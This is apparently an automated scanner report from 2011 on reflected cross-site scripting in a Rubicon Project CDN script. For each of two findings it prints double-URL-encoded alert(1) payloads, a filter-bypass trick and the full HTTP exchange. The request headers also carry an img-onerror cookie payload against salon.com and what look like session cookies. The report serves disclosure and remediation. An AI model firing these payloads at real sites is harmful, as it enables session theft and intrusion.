tap-cdn.rubiconproject.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

XSS in tap-cdn.rubiconproject.com | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Thu Jan 27 07:29:59 CST 2011.



DORK CWE-79 XSS Report

Loading

1. Cross-site scripting (reflected)

1.1. http://tap-cdn.rubiconproject.com/partner/scripts/rubicon/dorothy.js [REST URL parameter 3]

1.2. http://tap-cdn.rubiconproject.com/partner/scripts/rubicon/dorothy.js [REST URL parameter 3]



1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://tap-cdn.rubiconproject.com/partner/scripts/rubicon/dorothy.js [REST URL parameter 3]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tap-cdn.rubiconproject.com
Path:   /partner/scripts/rubicon/dorothy.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript inline comment. The payload be611%252a%252falert%25281%2529%252f%252f8020ce965b4 was submitted in the REST URL parameter 3. This input was echoed as be611*/alert(1)//8020ce965b4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /partner/scripts/rubiconbe611%252a%252falert%25281%2529%252f%252f8020ce965b4/dorothy.js HTTP/1.1
Host: tap-cdn.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://www.salon.com/wires/f46fb%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3Efbe440976f4/2011/01/25/D9KVP9482_us_state_of_union/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_1197=3271971346728586924; put_1986=4760492999213801733; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; khaos=GIPAEQ2D-C-IOYY; lm="9 Jan 2011 02:15:20 GMT"; put_2081=CA-00000000456885722; ruid=154d290e46adc1d6f373dd09^4^1296072462^2915161843; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ/PP8TzZUxGDmBad2r6N25AKxdPo9e; ses2=12017^1; csi2=3138557.js^1^1296072462^1296072462; rpb=4210%3D1%264214%3D1%264894%3D1%264939%3D1%262372%3D1%262190%3D1%262374%3D1%265671%3D1%262399%3D1%263615%3D1%264940%3D1; put_1994=6ch47d7o8wtv; cd=false

Response

HTTP/1.1 200 OK
Server: TRP Apache-Coyote/1.1
Last-Modified: Thu, 27 Jan 2011 02:06:18 GMT
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Type: text/javascript;charset=UTF-8
Cache-Control: private, max-age=3600
Expires: Thu, 27 Jan 2011 03:06:18 GMT
Date: Thu, 27 Jan 2011 02:06:18 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 5845


/*! Copyright 2009,2010 the Rubicon Project. All Rights Reserved. No permission is granted to use, copy or extend this code */

oz_partner = "rubiconbe611*/alert(1)//8020ce965b4";


funct
...[SNIP]...
;if(E||D.autorun){D.onPageLoad();}}catch(F){}}function oz_insight_partner_hook(A){return A;}function oz_insight_adserver_hook(A){return A;
}

/*
   The requested resource (/oz/scripts/partners/rubiconbe611*/alert(1)//8020ce965b4/insight_hooks.js) is not available
*/


oz_insight();

1.2. http://tap-cdn.rubiconproject.com/partner/scripts/rubicon/dorothy.js [REST URL parameter 3]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://tap-cdn.rubiconproject.com
Path:   /partner/scripts/rubicon/dorothy.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 29411%2522%253balert%25281%2529%252f%252f550c01d690e was submitted in the REST URL parameter 3. This input was echoed as 29411";alert(1)//550c01d690e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /partner/scripts/rubicon29411%2522%253balert%25281%2529%252f%252f550c01d690e/dorothy.js HTTP/1.1
Host: tap-cdn.rubiconproject.com
Proxy-Connection: keep-alive
Referer: http://www.salon.com/wires/f46fb%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3Efbe440976f4/2011/01/25/D9KVP9482_us_state_of_union/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: au=GIP9HWY4-MADS-10.208.38.239; put_1197=3271971346728586924; put_1986=4760492999213801733; put_1902=CfTKz1vxnM4Qo87LXqXVyg71y5oQqc-aCvFBOBEd; khaos=GIPAEQ2D-C-IOYY; lm="9 Jan 2011 02:15:20 GMT"; put_2081=CA-00000000456885722; ruid=154d290e46adc1d6f373dd09^4^1296072462^2915161843; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GheDmUSJ4NHOc49cA03rZJzx16pB3UdIwsGOQ/PP8TzZUxGDmBad2r6N25AKxdPo9e; ses2=12017^1; csi2=3138557.js^1^1296072462^1296072462; rpb=4210%3D1%264214%3D1%264894%3D1%264939%3D1%262372%3D1%262190%3D1%262374%3D1%265671%3D1%262399%3D1%263615%3D1%264940%3D1; put_1994=6ch47d7o8wtv; cd=false

Response

HTTP/1.1 200 OK
Server: TRP Apache-Coyote/1.1
Last-Modified: Thu, 27 Jan 2011 02:06:17 GMT
p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Type: text/javascript;charset=UTF-8
Cache-Control: private, max-age=3600
Expires: Thu, 27 Jan 2011 03:06:17 GMT
Date: Thu, 27 Jan 2011 02:06:17 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 5845


/*! Copyright 2009,2010 the Rubicon Project. All Rights Reserved. No permission is granted to use, copy or extend this code */

oz_partner = "rubicon29411";alert(1)//550c01d690e";


function RubiconInsight(){this.config={host:"http://tap.rubiconproject.com",statichost:"http://tap-cdn.rubiconproject.com"};this.default_context={oz_partner:"rubicon",oz_partner_user_id:null,oz
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Thu Jan 27 07:29:59 CST 2011.